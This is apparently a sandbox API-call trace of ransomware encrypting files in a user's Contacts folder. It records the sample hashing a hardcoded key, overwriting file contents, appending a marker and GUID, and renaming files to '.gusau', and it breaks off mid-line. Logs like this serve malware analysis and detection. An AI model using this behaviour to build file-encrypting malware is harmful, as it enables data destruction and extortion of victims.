CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.761] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=68382) returned 1 [0116.761] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.763] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x10af8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.763] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.765] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.765] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.765] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.765] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x10b1e, lpOverlapped=0x0) returned 1 [0116.766] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.766] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0116.766] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.766] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.766] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0116.767] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.767] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.767] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.767] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0116.767] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.767] GetLastError () returned 0x0 [0116.767] SetLastError (dwErrCode=0x0) [0116.767] GetLastError () returned 0x0 [0116.767] SetLastError (dwErrCode=0x0) [0116.767] GetLastError () returned 0x0 [0116.767] SetLastError (dwErrCode=0x0) [0116.767] GetLastError () returned 0x0 [0116.767] SetLastError (dwErrCode=0x0) [0116.767] GetLastError () returned 0x0 [0116.767] SetLastError (dwErrCode=0x0) [0116.767] GetLastError () returned 0x0 [0116.767] SetLastError (dwErrCode=0x0) [0116.767] GetLastError () returned 0x0 [0116.767] SetLastError (dwErrCode=0x0) [0116.767] GetLastError () returned 0x0 [0116.767] SetLastError (dwErrCode=0x0) [0116.767] GetLastError () returned 0x0 [0116.767] SetLastError (dwErrCode=0x0) [0116.767] GetLastError () returned 0x0 [0116.767] SetLastError (dwErrCode=0x0) [0116.767] GetLastError () returned 0x0 [0116.768] SetLastError (dwErrCode=0x0) [0116.768] GetLastError () returned 0x0 [0116.768] SetLastError (dwErrCode=0x0) [0116.768] GetLastError () returned 0x0 [0116.768] SetLastError (dwErrCode=0x0) [0116.768] GetLastError () returned 0x0 [0116.768] SetLastError (dwErrCode=0x0) [0116.768] GetLastError () returned 0x0 [0116.768] SetLastError (dwErrCode=0x0) [0116.768] GetLastError () returned 0x0 [0116.768] SetLastError (dwErrCode=0x0) [0116.768] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.768] GetLastError () returned 0x0 [0116.768] SetLastError (dwErrCode=0x0) [0116.768] GetLastError () returned 0x0 [0116.768] SetLastError (dwErrCode=0x0) [0116.768] GetLastError () returned 0x0 [0116.768] SetLastError (dwErrCode=0x0) [0116.768] GetLastError () returned 0x0 [0116.768] SetLastError (dwErrCode=0x0) [0116.768] GetLastError () returned 0x0 [0116.768] SetLastError (dwErrCode=0x0) [0116.768] GetLastError () returned 0x0 [0116.768] SetLastError (dwErrCode=0x0) [0116.768] GetLastError () returned 0x0 [0116.768] SetLastError (dwErrCode=0x0) [0116.768] GetLastError () returned 0x0 [0116.769] SetLastError (dwErrCode=0x0) [0116.769] GetLastError () returned 0x0 [0116.769] SetLastError (dwErrCode=0x0) [0116.769] GetLastError () returned 0x0 [0116.769] SetLastError (dwErrCode=0x0) [0116.769] GetLastError () returned 0x0 [0116.769] SetLastError (dwErrCode=0x0) [0116.769] GetLastError () returned 0x0 [0116.769] SetLastError (dwErrCode=0x0) [0116.769] GetLastError () returned 0x0 [0116.769] SetLastError (dwErrCode=0x0) [0116.769] GetLastError () returned 0x0 [0116.769] SetLastError (dwErrCode=0x0) [0116.769] GetLastError () returned 0x0 [0116.769] SetLastError (dwErrCode=0x0) [0116.769] GetLastError () returned 0x0 [0116.769] SetLastError (dwErrCode=0x0) [0116.769] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.769] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.769] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392a988 | out: hHeap=0xd10000) returned 1 [0116.769] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.769] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0116.769] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0116.769] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x10b20) returned 0x39f9f20 [0116.770] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0116.770] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.770] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x10b19, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x10b19, lpOverlapped=0x0) returned 1 [0116.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.771] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x10b1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0116.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5210 [0116.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5210, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0116.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5640 [0116.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0116.771] WriteFile (in: hFile=0x610, lpBuffer=0x39f5640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5640*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0116.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5640 | out: hHeap=0xd10000) returned 1 [0116.771] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.771] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.771] CloseHandle (hObject=0x610) returned 1 [0116.772] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0116.772] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5210 [0116.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0116.773] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact.gusau")) returned 1 [0116.774] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.774] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.774] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0c68 | out: hHeap=0xd10000) returned 1 [0116.775] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0116.775] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.775] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0c68 [0116.775] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.775] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact") returned=".contact" [0116.775] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.775] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=1171) returned 1 [0116.775] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.777] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x46d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.777] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.779] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.779] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.779] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.779] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x493, lpOverlapped=0x0) returned 1 [0116.779] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.779] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0116.779] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.779] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.779] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0116.780] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.780] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.780] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.780] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0116.780] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.780] GetLastError () returned 0x0 [0116.780] SetLastError (dwErrCode=0x0) [0116.780] GetLastError () returned 0x0 [0116.780] SetLastError (dwErrCode=0x0) [0116.780] GetLastError () returned 0x0 [0116.780] SetLastError (dwErrCode=0x0) [0116.780] GetLastError () returned 0x0 [0116.780] SetLastError (dwErrCode=0x0) [0116.780] GetLastError () returned 0x0 [0116.780] SetLastError (dwErrCode=0x0) [0116.780] GetLastError () returned 0x0 [0116.780] SetLastError (dwErrCode=0x0) [0116.780] GetLastError () returned 0x0 [0116.780] SetLastError (dwErrCode=0x0) [0116.780] GetLastError () returned 0x0 [0116.780] SetLastError (dwErrCode=0x0) [0116.780] GetLastError () returned 0x0 [0116.780] SetLastError (dwErrCode=0x0) [0116.780] GetLastError () returned 0x0 [0116.780] SetLastError (dwErrCode=0x0) [0116.781] GetLastError () returned 0x0 [0116.781] SetLastError (dwErrCode=0x0) [0116.781] GetLastError () returned 0x0 [0116.781] SetLastError (dwErrCode=0x0) [0116.781] GetLastError () returned 0x0 [0116.781] SetLastError (dwErrCode=0x0) [0116.781] GetLastError () returned 0x0 [0116.781] SetLastError (dwErrCode=0x0) [0116.781] GetLastError () returned 0x0 [0116.781] SetLastError (dwErrCode=0x0) [0116.781] GetLastError () returned 0x0 [0116.781] SetLastError (dwErrCode=0x0) [0116.781] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.781] GetLastError () returned 0x0 [0116.781] SetLastError (dwErrCode=0x0) [0116.781] GetLastError () returned 0x0 [0116.781] SetLastError (dwErrCode=0x0) [0116.781] GetLastError () returned 0x0 [0116.781] SetLastError (dwErrCode=0x0) [0116.781] GetLastError () returned 0x0 [0116.781] SetLastError (dwErrCode=0x0) [0116.781] GetLastError () returned 0x0 [0116.781] SetLastError (dwErrCode=0x0) [0116.781] GetLastError () returned 0x0 [0116.781] SetLastError (dwErrCode=0x0) [0116.781] GetLastError () returned 0x0 [0116.781] SetLastError (dwErrCode=0x0) [0116.782] GetLastError () returned 0x0 [0116.782] SetLastError (dwErrCode=0x0) [0116.782] GetLastError () returned 0x0 [0116.782] SetLastError (dwErrCode=0x0) [0116.782] GetLastError () returned 0x0 [0116.782] SetLastError (dwErrCode=0x0) [0116.782] GetLastError () returned 0x0 [0116.782] SetLastError (dwErrCode=0x0) [0116.782] GetLastError () returned 0x0 [0116.782] SetLastError (dwErrCode=0x0) [0116.782] GetLastError () returned 0x0 [0116.782] SetLastError (dwErrCode=0x0) [0116.782] GetLastError () returned 0x0 [0116.782] SetLastError (dwErrCode=0x0) [0116.782] GetLastError () returned 0x0 [0116.782] SetLastError (dwErrCode=0x0) [0116.782] GetLastError () returned 0x0 [0116.782] SetLastError (dwErrCode=0x0) [0116.782] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.782] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.782] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392a988 | out: hHeap=0xd10000) returned 1 [0116.782] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.782] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0116.782] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0116.782] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x490) returned 0x39f5210 [0116.782] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0116.782] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.782] WriteFile (in: hFile=0x610, lpBuffer=0x39f5210*, nNumberOfBytesToWrite=0x48e, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f5210*, lpNumberOfBytesWritten=0x405fb24*=0x48e, lpOverlapped=0x0) returned 1 [0116.783] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.783] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x493, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.783] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0116.783] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5210 [0116.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5210, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0116.783] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5640 [0116.783] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.783] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0116.783] WriteFile (in: hFile=0x610, lpBuffer=0x39f5640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5640*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0116.783] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5640 | out: hHeap=0xd10000) returned 1 [0116.783] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.783] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.783] CloseHandle (hObject=0x610) returned 1 [0116.784] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0116.784] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5210 [0116.784] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0116.784] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact.gusau")) returned 1 [0116.784] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.784] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.785] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0c68 | out: hHeap=0xd10000) returned 1 [0116.785] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0116.785] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.786] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0c68 [0116.786] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.786] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact") returned=".contact" [0116.786] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.787] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=1177) returned 1 [0116.787] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.789] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x473, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.789] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.790] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.791] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.791] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.791] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x499, lpOverlapped=0x0) returned 1 [0116.791] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.791] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0116.791] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.791] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.791] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0116.792] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.792] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.792] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.792] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0116.792] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.792] GetLastError () returned 0x0 [0116.792] SetLastError (dwErrCode=0x0) [0116.792] GetLastError () returned 0x0 [0116.792] SetLastError (dwErrCode=0x0) [0116.792] GetLastError () returned 0x0 [0116.792] SetLastError (dwErrCode=0x0) [0116.792] GetLastError () returned 0x0 [0116.792] SetLastError (dwErrCode=0x0) [0116.792] GetLastError () returned 0x0 [0116.792] SetLastError (dwErrCode=0x0) [0116.792] GetLastError () returned 0x0 [0116.792] SetLastError (dwErrCode=0x0) [0116.792] GetLastError () returned 0x0 [0116.792] SetLastError (dwErrCode=0x0) [0116.792] GetLastError () returned 0x0 [0116.792] SetLastError (dwErrCode=0x0) [0116.792] GetLastError () returned 0x0 [0116.792] SetLastError (dwErrCode=0x0) [0116.792] GetLastError () returned 0x0 [0116.793] SetLastError (dwErrCode=0x0) [0116.793] GetLastError () returned 0x0 [0116.793] SetLastError (dwErrCode=0x0) [0116.793] GetLastError () returned 0x0 [0116.793] SetLastError (dwErrCode=0x0) [0116.793] GetLastError () returned 0x0 [0116.793] SetLastError (dwErrCode=0x0) [0116.793] GetLastError () returned 0x0 [0116.793] SetLastError (dwErrCode=0x0) [0116.793] GetLastError () returned 0x0 [0116.793] SetLastError (dwErrCode=0x0) [0116.793] GetLastError () returned 0x0 [0116.793] SetLastError (dwErrCode=0x0) [0116.793] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.793] GetLastError () returned 0x0 [0116.793] SetLastError (dwErrCode=0x0) [0116.793] GetLastError () returned 0x0 [0116.793] SetLastError (dwErrCode=0x0) [0116.793] GetLastError () returned 0x0 [0116.793] SetLastError (dwErrCode=0x0) [0116.793] GetLastError () returned 0x0 [0116.793] SetLastError (dwErrCode=0x0) [0116.793] GetLastError () returned 0x0 [0116.793] SetLastError (dwErrCode=0x0) [0116.793] GetLastError () returned 0x0 [0116.793] SetLastError (dwErrCode=0x0) [0116.793] GetLastError () returned 0x0 [0116.794] SetLastError (dwErrCode=0x0) [0116.794] GetLastError () returned 0x0 [0116.794] SetLastError (dwErrCode=0x0) [0116.794] GetLastError () returned 0x0 [0116.794] SetLastError (dwErrCode=0x0) [0116.794] GetLastError () returned 0x0 [0116.794] SetLastError (dwErrCode=0x0) [0116.794] GetLastError () returned 0x0 [0116.794] SetLastError (dwErrCode=0x0) [0116.794] GetLastError () returned 0x0 [0116.794] SetLastError (dwErrCode=0x0) [0116.794] GetLastError () returned 0x0 [0116.794] SetLastError (dwErrCode=0x0) [0116.794] GetLastError () returned 0x0 [0116.794] SetLastError (dwErrCode=0x0) [0116.794] GetLastError () 